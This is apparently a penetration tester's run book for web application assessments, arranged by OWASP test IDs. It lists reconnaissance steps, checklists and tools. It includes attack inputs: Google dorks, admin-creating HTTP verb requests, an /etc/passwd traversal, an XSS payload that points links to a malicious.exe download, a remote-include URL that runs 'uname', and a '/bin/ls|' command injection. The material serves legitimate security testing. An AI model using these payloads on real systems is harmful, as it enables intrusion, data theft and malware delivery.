**Web Application Assessment Run Book**

**INFORMATION GATHERING**

**OTG-INFO-001 (Info Gathering on Web Site)**

**Tools**

1. Google Dorking ( use tor along with time delay for this to avoid google shunning)

|  |
| --- |
| 1. site: [www.example.com](http://www.example.com) 2. inurl: /wp-admin 3. intitle: index of 4. allintitle: index of 5. filetype: sql 6. intext: password 7. allintext: password 8. link: [www.example.com](http://www.example.com) 9. inanchor: James.Foster 10. cache: [www.example.com](http://www.example.com) 11. numrange:12344–12346 12. daterange:2452164–2452164 13. info: [www.example.com](http://www.example.com) 14. related:linux 15. stocks: CSC 16. define:ironic |

1. Duck Duck Go
2. FoundStone SiteDigger
3. Google Hacker
4. Google Hacking Diggity : searchdiggity(windows msi application facilitates google dorking)
5. PunkSpider (vulnerability scanner)

**OTG-INFO-002 (Fingerprinting Web Server)**

**PAYLOAD**

|  |
| --- |
| $ nc [www.example.com](http://www.example.com) 80  $ openssl s\_client -connect www.example.com:443  HEAD / HTTP/1.0  HEAD / HTTP/3.0  HEAD / JUNK/3.0  $ httprint -h [www.example.com](http://www.example.com) -s signatures.txt |

**Tools**

1. netcat
2. openssl s\_client
3. httprint
4. httprecon
5. netcraft
6. desenmascarane

**OTG-INFO-003 (Reviewing meta files)**

i.e. Robots.txt, crossdomain.xml

**Tools**

1. Browser
2. wget
3. curl
4. FOCA
5. rockspider

**OTG-INFO-004 (Enumerating Web Application)**

**PAYLOAD**

|  |
| --- |
| $ nmap -PN -sT -sV -p0-65535 10.x.x.x  $ host -t ns [www.example.com](http://www.example.com)  $ fierce -dns [www.example.com](http://www.example.com)  $ dig -t ns [www.example.com](http://www.example.com) |

**Tools**

1. nmap
2. host
3. fierce
4. dig
5. nikto

**OTG-INFO-005 (Reviewing Web Page Metadata and Info Leakage: i.e. finding passwords in HTML comments)**

**OTG-INFO-006 (Finding Entry Point of Application)**

1. Keep a spreadsheet for interesting parameters, GET, POST requests, SSL
2. Look for custom headers (i.e. debug = False)

**Tools**

1. Eyeballs
2. Browser “view source” function
3. Wget
4. Curl

**OTG-INFO-007 (Map Execution Path of Application: webspider)**

**OTG-INFO-008 (Fingerprinting Web Application FrameWork: .NET, Ruby on Rails etc.)**

**PAYLOAD**

|  |
| --- |
| $ whatweb [www.example.com](http://www.example.com)  $ BlindElephant.py [www.example.com](http://www.example.com) guess/wordpress/drupal |

**Tools**

1. whatweb
2. BlindElephant

**OTG-INFO-009 (Fingerprinting Web Application: WordPress, Drupal)**

**OTG-INFO-010 (Map Application Architecture)**

1. Front End
2. Back End DB, Authentication
3. WAF
4. Reverse Proxy
5. Load Balancer

**CONFIGURATION AND DEPLOYMENT MANAGEMENT TESTING**

**Test Network/Infrastructure Configuration (OTG-CONFIG-001)**

1. check for default username and password
2. check version of the web server and see if there are public exploits available

Tools:

1. metasploit
2. nexpose, openvas scanners

**Test Application Platform Configuration (OTG-CONFIG-002)**

Application platform example: LAMP Server

1. Sample and known files/directories (IIS 5.0 webdav enabled by default)
2. Comment Review (inline HTML comments)
3. Configuration Review (don’t keep default username password for phpmyadmin)
4. Logging, Log location and Log storage, Log Rotation, Log ACL, Log Review
   1. Do logs contain sensitive info? (GET request)
      1. Debug
      2. Stack trace
      3. Usernames
      4. System component names
      5. Internal IP
      6. Personal Data
      7. Business Data
   2. Are the logs stored in a dedicated server?
   3. Can log usage generate a Denial of Service condition?
   4. How are they rotated? Are logs kept for the sufficient time?
   5. How are logs reviewed? Can administrators use these reviews to detect targeted attacks?
   6. How are log backups preserved?
   7. Is the data being logged data validated (min/max length, chars etc) prior to being logged?

**Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)**

File extension gives away the server-side technology used such as php, java, ruby, python. However, it can be concealed.

1. Dirbuster (forced browsing)
2. File extension with sensitive file information
   1. .asa
   2. .inc
3. File extension to look out for
   1. zip, .tar, .gz, .tgz, .rar, ...: (Compressed) archive files
   2. .java: No reason to provide access to Java source files
   3. .txt: Text files
   4. .pdf: PDF documents
   5. .doc, .rtf, .xls, .ppt, ...: Office documents
   6. .bak, .old and other extensions indicative of backup files (for example: ~ for Emacs backup files)

**Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004)**

1. unreferenced or forgotten files that can be used to obtain important information about the infrastructure or the credentials. (application taking snapshot of itself and storing files under web root directory accessible via browser)
2. From the naming scheme used for published content, it is often possible to infer the name and location of unreferenced pages. For example, if a page viewuser.asp is found, then look also for edituser.asp, adduser.asp and deleteuser.asp. If a directory /app/user is found, then look also for /app/admin and /app/manager.
3. clues in the source code of HTML and JavaScript files

Blind Guessing Attack ( dir buster )

|  |
| --- |
| #!/bin/bash  server=www.targetapp.com  port=80  while read url  do  echo -ne “$url\t”  echo -e “GET /$url HTTP/1.0\nHost: $server\n” | netcat $server  $port | head -1  done | tee outputfile |

1. Information obtained through server vulnerabilities and misconfiguration
2. File name filter bypass

**Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005)**

1. Check if admin interface can be compromised
2. Testing for bypassing authorization schema (OTG-AUTHZ-002) and Testing for Insecure Direct Object References (OTG-AUTHZ-004)

**Test HTTP Methods (OTG-CONFIG-006)**

1. XST attack
2. Testing for arbitrary HTTP methods

Find a page to visit that has a security constraint such that it would normally force a 302 redirect to a log in page or forces a log in directly. The test URL in this example works like this, as do many web applications. However, if a tester obtains a “200” response that is not a log in page, it is possible to bypass authentication and thus authorization.

|  |
| --- |
| $ nc www.example.com 80  JEFF / HTTP/1.1  Host: [www.example.com](http://www.example.com)  HTTP/1.1 200 OK  Date: Mon, 18 Aug 2008 22:38:40 GMT  Server: Apache  Set-Cookie: PHPSESSID=K53QW... |

**PAYLOADS:**

|  |
| --- |
| * FOOBAR /admin/createUser.php?member=myAdmin * JEFF /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123 * CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add |

1. Testing for HEAD access control bypass

|  |
| --- |
| $ nc www.example.com 80  HEAD /admin HTTP/1.1  Host: [www.example.com](http://www.example.com)  HTTP/1.1 200 OK  Date: Mon, 18 Aug 2008 22:44:11 GMT |

* HEAD /admin/createUser.php?member=myAdmin
* HEAD /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123
* HEAD /admin/groupEdit.php?group=Admins&member=myAdmin&action=add

**Test HTTP Strict Transport Security (OTG-CONFIG-007)**

1. curl -s -D- https://domain.com/ | grep Strict

**Test RIA cross domain policy (OTG-CONFIG-008)**

Rich Internet Applications (RIA) have adopted Adobe’s crossdo-main.xml policy files to allow for controlled cross domain access to data and service consumption using technologies such as Oracle, Java, Silverlight, and Adobe Flash. Therefore, a domain can grant remote access to its services from a different domain. However, often the policy files that describe the access restrictions are poorly configured. Poor configuration of the policy files enables Cross-site Request Forgery attacks and may allow third parties to access sensitive data meant for the user.

Crossdomain.xml vs. Clientaccesspolicy.xml

|  |
| --- |
| <cross-domain-policy>  <allow-access-from domain=”\*” />  </cross-domain-policy> |

For OTG-CONFIG-007 and OTG-CONFIG-008 Tools:

1. nikto
2. burp
3. zap

**IDENTITY MANAGEMENT TESTING**

**Test Role Definitions (OTG-IDENT-001)**

1. Develop Role vs Permission Matrix

Tools: Burp can be used for spidering and comparing site map

**Test User Registration Process (OTG-IDENT-002)**

Test objectives

1. Verify that the identity requirements for user registration are aligned with business and security requirements.
2. Validate the registration process.

Verify that the identity requirements for user registration are aligned with business and security requirements:

1. Can anyone register for access?
2. Are registrations vetted by a human prior to provisioning, or are they automatically granted if the criteria are met?
3. Can the same person or identity register multiple times?
4. Can users register for different roles or permissions?
5. What proof of identity is required for a registration to be successful?
6. Are registered identities verified?

Validate the registration process:

1. Can identity information be easily forged or faked?
2. Can the exchange of identity information be manipulated during registration?

**Test Account Provisioning Process (OTG-IDENT-003)**

1. Verify which accounts may provision other accounts and of what type.
2. Determine which roles are able to provision users and what sort of accounts they can provision.
   1. Is there any verification, vetting and authorization of provisioning requests?
   2. Is there any verification, vetting and authorization of de-provisioning requests?
   3. Can an administrator provision other administrator or just users?
   4. Can an administrator or other user provision accounts with privileges greater than their own?
   5. Can an administrator or user de-provision themselves?
   6. How are the files or resources owned by the de-provisioned user managed? Are they deleted? Is access transferred?

**Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)**

1. For WordPress you can use wpscan
2. Speed at which application responds can be used to determine if username is valid
3. Analyze Error code
   1. http://www.foo.com/err.jsp?User=baduser&Error=0
   2. <http://www.foo.com/err.jsp?User=gooduser&Error=2>
4. URI probing (http response code 403 and 404)
   1. http://www.foo.com/account1 - we receive from web server:

403 Forbidden

* 1. http://www.foo.com/account2 - we receive from web server:

404 file Not Found

1. Analyzing Web page Titles
2. Analyzing a message received from a recovery facility
3. Friendly 404 Error Message
4. Guessing Users

**Tools:**

1. WebScarab: OWASP\_WebScarab\_Project
2. CURL: http://curl.haxx.se/
3. PERL: http://www.perl.org
4. Sun Java Access & Identity Manager users enumeration tool: http://www.aboutsecurity.net

Testing for Weak or unenforced username policy (OTG-IDENT-005)

1. John Doe : jdoe
2. Jane Doe : JaneD

**Authentication Testing**

**Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)**

1. Sending data with POST method through HTTP
2. Sending data with POST method through HTTPS
3. sending data with POST method via HTTPS on a page reachable via HTTP
4. Sending data with GET method through HTTPS

**Testing for default credentials (OTG-AUTHN-002)**

**Tools:**

1. Burp Intruder: http://portswigger.net/burp/intruder.html
2. THC Hydra: http://www.thc.org/thc-hydra/
3. Brutus: http://www.hoobie.net/brutus/
4. Nikto 2: http://www.cirt.net/nikto2

**Testing for Weak lock out mechanism (OTG-AUTHN-003)**

**Testing for bypassing authentication schema (OTG-AUTHN-004)**

1. Direct page request (forced browsing) ( find page not protected by authentication )
2. Parameter modification (isLoggedIn = 1)
3. Session ID prediction (Guessable Session Id)
4. SQL injection
5. Read source code and checking if there is a flaw

**Test remember password functionality (OTG-AUTHN-005)**

If an attacker can gain access to the victim’s browser (e.g. through a Cross Site Scripting attack, or through a shared computer), then they can retrieve the stored passwords.

1. Look for passwords being stored in a cookie.
   * Examine the cookies stored by the application.
   * Verify that the credentials are not stored in clear text but are hashed.
2. Examine the hashing mechanism: if it is a common, well-known algorithm, check for its strength; in homegrown hash functions, attempt several usernames to check whether the hash function is easily guessable.
3. Verify that the credentials are only sent during the log in phase, and not sent together with every request to the application.
4. Consider other sensitive form fields (e.g. an answer to a secret question that must be entered in a password recovery or account unlock form).

**Testing for Browser cache weakness (OTG-AUTHN-006)**

If by pressing the “Back” button the tester can access previous pages but not access new ones, then it is not an authentication issue, but a browser history issue. If these pages contain sensitive data, it means that the application did not forbid the browser from storing it.

**Tools:**

1. Firefox add-on CacheViewer2
2. ZAP
3. Burp

**Testing for Weak password policy (OTG-AUTHN-007)**

**Testing for Weak security question/answer (OTG-AUTHN-008)**

**Testing for weak password change or reset functionalities (OTG-AUTHN-009)**

1. If users, other than administrators, can change or reset passwords for accounts other than their own.
2. If users can manipulate or subvert the password change or reset process to change or reset the password of another user or administrator.
3. If the password change or reset process is vulnerable to CSRF.

**Password Reset:**

1. What information is required to reset the password?
2. How are reset passwords communicated to the user?
3. Are reset passwords generated randomly?
4. Is the reset password functionality requesting confirmation before changing the password?

**Password Change:**

1. Is the old password requested to complete the change?

**Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)**

Even if the primary authentication mechanisms do not include any vulnerabilities, it may be that vulnerabilities exist in alternative legitimate authentication user channels for the same user accounts. Tests should be undertaken to identify alternative channels and, subject to test scoping, identify vulnerabilities.

Some of these channels may themselves be separate web applications using different host names or paths. For example:

1. Standard website
2. Mobile, or specific device, optimized website
3. Accessibility optimized website
4. Alternative country and language websites
5. Parallel websites that utilize the same user accounts (e.g. another website offering different functionally of the same organization, a partner website with which user accounts are shared)
6. Development, test, UAT and staging versions of the standard website

But they could also be other types of application or business processes:

1. Mobile device app
2. Desktop application
3. Call center operators
4. Interactive voice response or phone tree systems

**How To Test:**

1. Understand the primary mechanism
2. Identify other channels
3. Enumerate authentication functionality
4. Review and test

**Authorization Testing**

**Testing Directory traversal/file include (OTG-AUTHZ-001)**

During an assessment, to discover path traversal and file include flaws, testers need to perform two different stages:

1. Input Vectors Enumeration (a systematic evaluation of each input vector)

|  |
| --- |
| * Are there request parameters which could be used for file-related operations? * Are there unusual file extensions? * Are there interesting variable names?   For Example,   * http://example.com/getUserProfile.jsp?item=ikki.html * http://example.com/index.php?file=content * <http://example.com/main.cgi?home=index.htm> |
| * Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates?   For Example,   * Cookie: ID=d9ccd3f4f9f18cc1:T-   M=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:-  TEMPLATE=flower  Cookie: USER=1826cc8f:PSTYLE=GreenDotRed |

1. Testing Techniques (a methodical evaluation of each attack technique used by an attacker to exploit the vulnerability)

|  |
| --- |
| * <http://example.com/getUserProfile.jsp?item=../../../../etc/passwd> * <http://example.com/main.cgi?home=main.cgi> |
| * PHP: include(), include\_once(), require(), require\_once(), fopen(), readfile(), ... * JSP/Servlet: java.io.File(), java.io.FileReader(), ... * ASP: include file, include virtual, ... |

**Tools:**

1. Dotdotpwn
2. Path Traversal Fuzz Strings (wfuzz)
3. Web Proxy (Burp, ZAP)
4. Enconding/Decoding tools
5. String searcher “grep”

**Testing for bypassing authorization schema (OTG-AUTHZ-002)**

What to Test

1. Is it possible to access that resource even if the user is not authenticated?
2. Is it possible to access that resource after the log-out?
3. Is it possible to access functions and resources that should be accessible to a user that holds a different role or privilege?

How to Test

1. Is it possible to access administrative functions also if the tester is logged as a user with standard privileges?
2. Is it possible to use these administrative functions as a user with a different role and for whom that action should be denied?

<https://www.example.com/admin/addUser.jsp>

Replaying a packet as normal User

|  |
| --- |
| POST /admin/addUser.jsp HTTP/1.1  Host: www.example.com  [other HTTP headers]  userID=fakeuser&role=3&group=grp001 |

Testing for Privilege Escalation (OTG-AUTHZ-003)

For example:

The following HTTP POST allows the user that belongs to grp001 to access order #0001:

|  |
| --- |
| POST /admin/addUser.jsp HTTP/1.1  Host: www.example.com  [other HTTP headers]  userID=fakeuser&role=3&group=grp001 |

Verify if a user that does not belong to grp001 can modify the value of the parameters ‘groupID’ and ‘orderID’ to gain access to that privileged data.

Testing for Insecure Direct Object References (OTG-AUTHZ-004)

How to Test

To test for this vulnerability the tester first needs to map out all locations in the application where user input is used to reference objects directly. For example, locations where user input is used to access a database row, a file, application pages and more. Next the tester should modify the value of the parameter used to reference objects and assess whether it is possible to retrieve objects belonging to other users or otherwise bypass authorization

1. The value of a parameter is used directly to retrieve a database record  
   Sample request: <http://foo.bar/somepage?invoice=12345>
2. The value of a parameter is used directly to perform an operation in the system  
   Sample request: <http://foo.bar/changepassword?user=someuser>
3. The value of a parameter is used directly to retrieve a file system resource  
   Sample request : <http://foo.bar/showImage?img=img00011>
4. The value of a parameter is used directly to access application functionality  
   Sample request: <http://foo.bar/accessPage?menuitem=12>

**Session Management Testing**

There are three methods for Managing session.

1. Cookies
2. URL parameters
3. Hidden Form Field Parameters

**Testing for Bypassing Session Management Schema (OTG-SESS-001)**

Usually the main steps of the attack pattern are the following:

1. cookie collection: collection of a sufficient number of cookie samples;
2. cookie reverse engineering: analysis of the cookie generation algorithm;
3. cookie manipulation: forging of a valid cookie in order to perform the attack. This last step might require a large number of attempts, depending on how the cookie is created (cookie brute-force attack).
4. Overflowing a Cookie (overflow a memory area that will lead unpredictable behavior in application)

What to Test

All interaction between the client and application should be tested at least against the following criteria:

1. Are all Set-Cookie directives tagged as Secure?
2. Do any Cookie operations take place over unencrypted transport?
3. Can the Cookie be forced over unencrypted transport?
4. If so, how does the application maintain security?
5. Are any Cookies persistent?
6. What Expires= times are used on persistent cookies, and are they reasonable?
7. Are cookies that are expected to be transient configured as such?
8. What HTTP/1.1 Cache-Control settings are used to protect Cookies?
9. What HTTP/1.0 Cache-Control settings are used to protect Cookies?
10. How many cookies are used by the application?   
      
    Surf the application. Note when cookies are created. Make a list of received cookies, the page that sets them (with the set-cookie directive), the domain for which they are valid, their value, and their characteristics.
11. Which parts of the the application generate and/or modify the cookie?  
      
    Surfing the application, find which cookies remain constant and which get modified. What events modify the cookie?
12. Which parts of the application require this cookie in order to be accessed and utilized?

Find out which parts of the application need a cookie. Access a page, then try again without the cookie, or with a modified value of it. Try to map which cookies are used where.

A spreadsheet mapping each cookie to the corresponding application parts and the related information can be a valuable output of this phase.

**Session Analysis**

The session tokens (Cookie, SessionId or Hidden Field) themselves should be examined to ensure their quality from a security perspective. They should be tested against criteria such as their randomness, uniqueness, resistance to statistical and cryptographic analysis and information leakage.

**Token Structure & Information Leakage**

1. A common mistake is to include specific data in the Token instead of issuing a generic value and referencing real data at the server side.
2. Check if TOKEN is hashed, base64 encoded or converted to hex.

The following areas should be addressed during the single and multiple Session ID structure testing.

1. What parts of the Session ID are static?
2. What clear-text confidential information is stored in the Session ID E.g. usernames/UID, IP addresses
3. What easily decoded confidential information is stored?
4. What information can be deduced from the structure of the Session ID?
5. What portions of the Session ID are static for the same log in conditions?
6. What obvious patterns are present in the Session ID as a whole or individual portion?

Testing for Cookies attributes (OTG-SESS-002)

1. Secure Flag
2. HttpOnly Flag
3. Domain
4. Expires
5. Path   
   Even if the Domain attribute has been configured as tight as possible, if the path is set to the root directory “/” then it can be vulnerable to less secure applications on the same server. For example, if the application resides at /myapp/, then verify that the cookies path is set to “; path=/myapp/” and NOT “; path=/” or “; path=/myapp”. Notice here that the trailing “/” must be used after myapp. If it is not used, the browser will send the cookie to any path that matches “myapp” such as “myapp-exploited”.

Testing for Session Fixation (OTG-SESS-003)

1. A web application authenticates a user without first invalidating the existing session ID, thereby continuing to use the session ID already associated with the user.
2. An attacker is able to force a known session ID on a user so that, once the user authenticates, the attacker has access to the authenticated session

As no new cookie has been issued upon a successful authentication the tester knows that it is possible to perform session hijacking.

Result Expected: The tester can send a valid session identifier to a user (possibly using a social engineering trick), wait for them to authenticate, and subsequently verify that privileges have been assigned to this cookie.

Testing for Exposed Session Variables (OTG-SESS-004)

Using a personal proxy, it is possible to ascertain the following about each request and response:

1. Protocol used (e.g., HTTP vs. HTTPS)
2. HTTP Headers
3. Message Body (e.g., POST or page content)

Every time the authentication is successful, the user should expect to receive:

1. Different session tokens
2. A token sent via encrypted channel every time they make an HTTP Request
3. “Expires: 0” and Cache-Control: max-age=0 directives should be used to further ensure caches do not expose the data.
4. All server-side code receiving data from POST requests should be tested to ensure it does not accept the data if sent as a GET. For example, consider the following POST request generated by a log in page. (Potentially insecure server-side scripts may be identified by checking each POST in this way.)

Testing for Transport vulnerabilities:

All interaction between the Client and Application should be tested at least against the following criteria.

1. How are Session IDs transferred? e.g., GET, POST, Form Field (including hidden fields)
2. Are Session IDs always sent over encrypted transport by default?
3. Is it possible to manipulate the application to send Session IDs unencrypted? e.g., by changing HTTP to HTTPS?
4. What cache-control directives are applied to requests/responses passing Session IDs?
5. Are these directives always present? If not, where are the exceptions?
6. Are GET requests incorporating the Session ID used?
7. If POST is used, can it be interchanged with GET?

Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)

Testing for logout functionality (OTG-SESS-006)

A secure session termination requires at least the following components:

1. Availability of user interface controls that allow the user to manually log out.
2. Session termination after a given amount of time without activity (session timeout).
3. Proper invalidation of server-side session state.

**What to Look For**

1. Another common mistake in session termination is that the client-side session token is set to a new value while the server-side state remains active and can be reused by setting the session cookie back to the previous value.
2. Users of web browsers often don’t mind that an application is still open and just close the browser or a tab. A web application should be aware of this behavior and terminate the session automatically on the server-side after a defined amount of time.
3. The usage of a single sign-on (SSO) system instead of an application-specific authentication scheme often causes the coexistence of multiple sessions which have to be terminated separately.

**Testing for server-side session termination:**

First, store the values of cookies that are used to identify a session. Invoke the log out function and observe the behavior of the application, especially regarding session cookies. Try to navigate to a page that is only visible in an authenticated session, e.g. by usage of the back button of the browser

**Testing for session timeout:**

Try to determine a session timeout by performing requests to a page in the authenticated area of the web application with increasing delays.

**Testing for session termination in single sign-on environments (single sign-off):**

Perform a log out in the tested application. Verify if there is a central portal or application directory which allows the user to log back in to the application without authentication.

Test if the application requests the user to authenticate, if the URL of an entry point to the application is requested. While logged in in the tested application, perform a log out in the SSO system. Then try to access an authenticated area of the tested application.

**Test Session Timeout (OTG-SESS-007)**

In this phase testers check that the application automatically logs out a user when that user has been idle for a certain amount of time, ensuring that it is not possible to “reuse” the same session and that no sensitive data remains stored in the browser cache.

Check if the timeout is configured, testers need to understand whether the timeout is enforced by the client or by the server (or both). If the session cookie is non-persistent (or, more in general, the session cookie does not store any data about the time), testers can assume that the timeout is enforced by the server. If the session cookie contains some time related data (e.g., log in time, or last access time, or expiration date for a persistent cookie), then it’s possible that the client is involved in the timeout enforcing. In this case, testers could try to modify the cookie (if it’s not cryptographically protected) and see what happens to the session. For instance, testers can set the cookie expiration date far in the future and see whether the session can be prolonged.

**For Grey Box**

The tester needs to check that:

1. The log out function effectively destroys all session token, or at least renders them unusable,
2. The server performs proper checks on the session state, disallowing an attacker to replay previously destroyed session identifiers
3. A timeout is enforced, and it is properly enforced by the server. If the server uses an expiration time that is read from a session token that is sent by the client (but this is not advisable), then the token must be cryptographically protected from tampering.

**Testing for Session puzzling (OTG-SESS-008)**

It can enable an attacker to perform a variety of malicious actions, including by not limited to:

1. Bypass efficient authentication enforcement mechanisms and impersonate legitimate users.
2. Elevate the privileges of a malicious user account, in an environment that would otherwise be considered foolproof.
3. Skip over qualifying phases in multi-phase processes, even if the process includes all the commonly recommended code level restrictions.
4. Manipulate server-side values in indirect methods that cannot be predicted or detected.
5. Execute traditional attacks in locations that were previously unreachable, or even considered secure.

This vulnerability occurs when an application uses the same session variable for more than one purpose. An attacker can potentially access pages in an order unanticipated by the developers so that the session variable is set in one context and then used in another.

**Input Validation Testing**

**Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)**

[http://example.com/index.php?user=<script>alert(123)</script](http://example.com/index.php?user=%3cscript%3ealert(123)%3c/script)>

[http://example.com/index.php?user=<script>window.onload=function(){var](http://example.com/index.php?user=%3cscript%3ewindow.onload=function()%7bvar)  
AllLinks=document.getElementsByTagName(“a”);AllLinks[0].href = “http://badexample.com/malicious.exe”; }</script>

HTTP Parameter Pollution can be used to bypass WAF.

**Testing for Stored Cross Site Scripting (OTG-INPVAL-002)**

The first step is to identify all points where user input is stored into the back-end and then displayed by the application. Typical examples of stored user input can be found in:

1. User/Profiles page: the application allows the user to edit/ change profile details such as first name, last name, nickname, avatar, picture, address, etc.
2. Shopping cart: the application allows the user to store items into the shopping cart which can then be reviewed later
3. File Manager: application that allows upload of files
4. Application settings/preferences: application that allows the user to set preferences
5. Forum/Message board: application that permits exchange of posts among users
6. Blog: if the blog application permits to users submitting comments
7. Log: if the application stores some users input into logs

For Grey Box, the following steps are recommended:

1. Use front-end application and enter input with special/invalid characters
2. Analyze application response(s)
3. Identify presence of input validation controls
4. Access back-end system and check if input is stored and how it is stored
5. Analyze source code and understand how stored input is rendered by the application

**Testing for HTTP Verb Tampering (OTG-INPVAL-003)**

**HTTP Verbs/Methods:**

* OPTIONS
* GET
* HEAD
* POST
* PUT
* DELETE
* TRACE
* CONNECT

For WebDav (Web Distributed Authoring and Version)

* PROPFIND
* PROPPATCH
* MKCOL
* COPY
* MOVE
* LOCK
* UNLOCK

**Testing for HTTP Parameter pollution (OTG-INPVAL-004)**

It can be used for Input Validation and filters bypass.

http://www.example.com/index.aspx?page=select 1&page=2,3 will be reconstructed on server side as

http://www.netapp.com/index.aspx?page=select 1,2,3

Authentication Bypass

|  |
| --- |
| POST /add-authors.do HTTP/1.1  security\_token=attackertoken&blogID=attackerblogidvalue&blogID=victimblogidvalue&authorsList=goldshlager19test%40gmail.com(attacker email)&ok=Invite |

**Server Side HPP**

A more in-depth analysis would require three HTTP requests for each HTTP parameter:

1. Submit an HTTP request containing the standard parameter name and value, and record the HTTP response. E.g. page?par1=val1
2. Replace the parameter value with a tampered value, submit and record the HTTP response. E.g. page?par1=HPP\_TEST1
3. Send a new request combining step (1) and (2). Again, save the HTTP response. E.g. page?par1=val1&par1=HPP\_TEST1
4. Compare the responses obtained during all previous steps. If the response from (3) is different from (1) and the response from (3) is also different from (2), there is an impedance mismatch that may be eventually abused to trigger HPP vulnerabilities.

**Client Side HPP**

While in the server-side variant the attacker leverages a vulnerable web application to access protected data or perform actions that either not permitted or not supposed to be executed, client-side attacks aim at subverting client-side components and technologies.

**Testing for SQL Injection (OTG-INPVAL-005)**

**Types**

1. Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
2. Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
3. Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

**Techniques**

1. Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
2. Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
3. Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
4. Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
5. Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.

**Where**

The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:

1. Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).
2. Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.
3. E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a database.

**Types of Sql Servers**

* Oracle Testing
* MySQL Testing
* SQL Server Testing
* Testing PostgreSQL (from OWASP BSP)
* MS Access Testing
* Testing for NoSQL injection

Testing for LDAP Injection (OTG-INPVAL-006)

1. searchfilter=”(cn=”+user+”)”
2. searchlogin= “(&(uid=”+user+”)(userPassword={MD5}”+base64(pack(“H\*”,md5(pass)))+”))”;

Testing for ORM Injection (OTG-INPVAL-007)

ORM generated objects can use SQL or in some cases, a variant of SQL, to perform CRUD (Create, Read, Update, Delete) operations on a database

Patterns to look for in code include:

1. Input parameters concatenated with SQL strings. This code that uses ActiveRecord for Ruby on Rails is vulnerable (though any ORM can be vulnerable)  
     
   Orders.find\_all “customer\_id = 123 AND order\_date = ‘#{@params[‘order\_date’]}’”

**Tools:**

1. Hibernate
2. NHibernate

Testing for XML Injection (OTG-INPVAL-008)

XML metacharacters are:

1. Single Quote
2. Double Quote
3. Angular parentheses: > and <
4. Comment tag: <!--/-->
5. Ampersand: &
6. CDATA section delimiters: <![CDATA[ / ]]>

Tools : XML Injection Fuzz Strings (from wfuzz tool)

Testing for SSI Injection (OTG-INPVAL-009)

Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the Server-Side Includes (SSI). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.

Testing for XPath Injection (OTG-INPVAL-010)

Web applications heavily use databases to store and access the data they need for their operations. Historically, relational databases have been by far the most common technology for data storage, but, in the last years, we are witnessing an increasing popularity for databases that organize data using the XML language. Just like relational databases are accessed via SQL language, XML databases use XPath as their standard query language.

Example,

string(//user[username/text()=’gandalf’ and password/text()=’!c3’]/account/text())

IMAP/SMTP Injection (OTG-INPVAL-011)

Testing for Code Injection (OTG-INPVAL-012)

<http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a>

**Testing for Local and Remote File Inclusion**

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

Example : <http://vulnerable_host/preview.php?file=example.html>

Testing for Command Injection (OTG-INPVAL-013)

OS command injection is a technique used via a web interface in order to execute OS commands on a web server.

<http://sensitive/cgi-bin/userData.pl?doc=user1.txt>

http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|

Testing for Buffer overflow (OTG-INPVAL-014)\

Different types of buffer overflow vulnerabilities have different testing methods.

Tools : OllyDbg, Spike, A fuzzer framework that can be used to explore

vulnerabilities and perform length testing, Brute Force Binary Tester (BFB), A proactive binary checker, metasploit

Testing for Heap overflow

Testing for Stack overflow

In fact almost every platform is vulnerable to stack overflows with the following notable exceptions:

* J2EE – as long as native methods or system calls are not invoked
* .NET – as long as /unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop)
* PHP – as long as external programs and vulnerable PHP extensions written in C or C++ are not called can suffer from stack overflow issues

Testing for Format string

Functions to look out for:

* printf
* fprintf
* sprintf
* snprintf
* vfprintf
* vprintf
* vsprintf
* vsnprintf

<http://hostname/cgi-bin/query.cgi?name=john&code=45765>

[http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x-&code=45765%x.%x](http://hostname/cgi-bin/query.cgi?name=john%25x.%25x.%25x-&code=45765%25x.%25x)

Testing for incubated vulnerabilities (OTG-INPVAL-015)

1. File Upload
2. XSS
3. SQL/XPATH Injection that allows content upload
4. Misconfigured Servers

Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)

**HTTP Splitting**

1. Allows cache poisoning and session hijack. Certain Conditions need to match.

**HTTP Smuggling**

1. Allows WAF bypass

|  |
| --- |
